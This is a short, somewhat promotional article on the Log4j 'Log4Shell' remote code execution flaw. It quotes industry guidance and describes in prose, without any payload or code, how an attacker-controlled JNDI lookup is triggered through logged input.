Within the open-source software called the Log4j, various malicious vulnerabilities have been detected that have been deemed a major threat to the end-point IT infrastructure of companies.
Some of them are fatal enough to have become a major stressor for companies across the globe. Award-winning IT companies in the USA, like Microsoft and Vuesol, have responded to these vulnerabilities with resistance, analysis, and guidance.
Apache Log4j is vulnerable to remote code execution, as disclosed in December 2021.
No software is free of some of the other kinds of vulnerabilities. But Log4j’s remote code execution problem is a lot more critical:
“It not only affects the applications that use the vulnerable libraries, but it also creates hindrances in any services that use these applications. This makes it even difficult to assess how widespread the issue is. “
In a resolution guideline for Log4j vulnerability, it said:
“I We have observed many existing attackers adding exploits of these vulnerabilities in their existing malware kits and tactics, from coin miners to hands-on keyboard attacks. Organizations may not realize their environments may already be compromised.”
The particular vulnerability in the Apache Log4j called the Log4j Shell has been under discussion within the leading IT companies globally due to its high potential for exploitation.
The current explorations, as observed by companies like Microsoft, IBM, Cisco, and Google include mass-scanning, coin mining, establishing remote shells, and red-team activity. However, the exploiters are only expected to keep adding to this list till the issue has been remedied.
What Vuesol says about how the vulnerability hinders security:
- An attacker sends an HTTP request to a target system, generating a log using Log4j 2 that uses JNDI to perform a request to the attacker-controlled site.
- It starts with the attackers giving an HTTP request to the targeted system.
- This will then generate a log with Log4j 2. (that uses JNDI to perform a request)
- Due to the vulnerability, the exploited process can now reach the site and execute the payload.
Since logging code and functionalities in apps and services are usually designed to process a variety of external input data sourced from upper layers, and possible vectors, the biggest risk factor of these vulnerabilities is predicting whether an application has a viable attack vector path that will allow the malformed exploit string to reach the vulnerable Log4j 2 code to trigger an attack.
An attacker can set a user-agent with the crafted exploit string hoping that this external input will be processed at some point by the vulnerable Log4j 2 code and trigger code execution.”
The collective opinion of all these companies remains that if this vulnerability is not mitigated, it could turn out really bad for the companies using the software.
However, companies like Microsoft and Google are attempting to circulate guidelines so companies can find a way to work around it, temporarily till the issue is hopefully cured.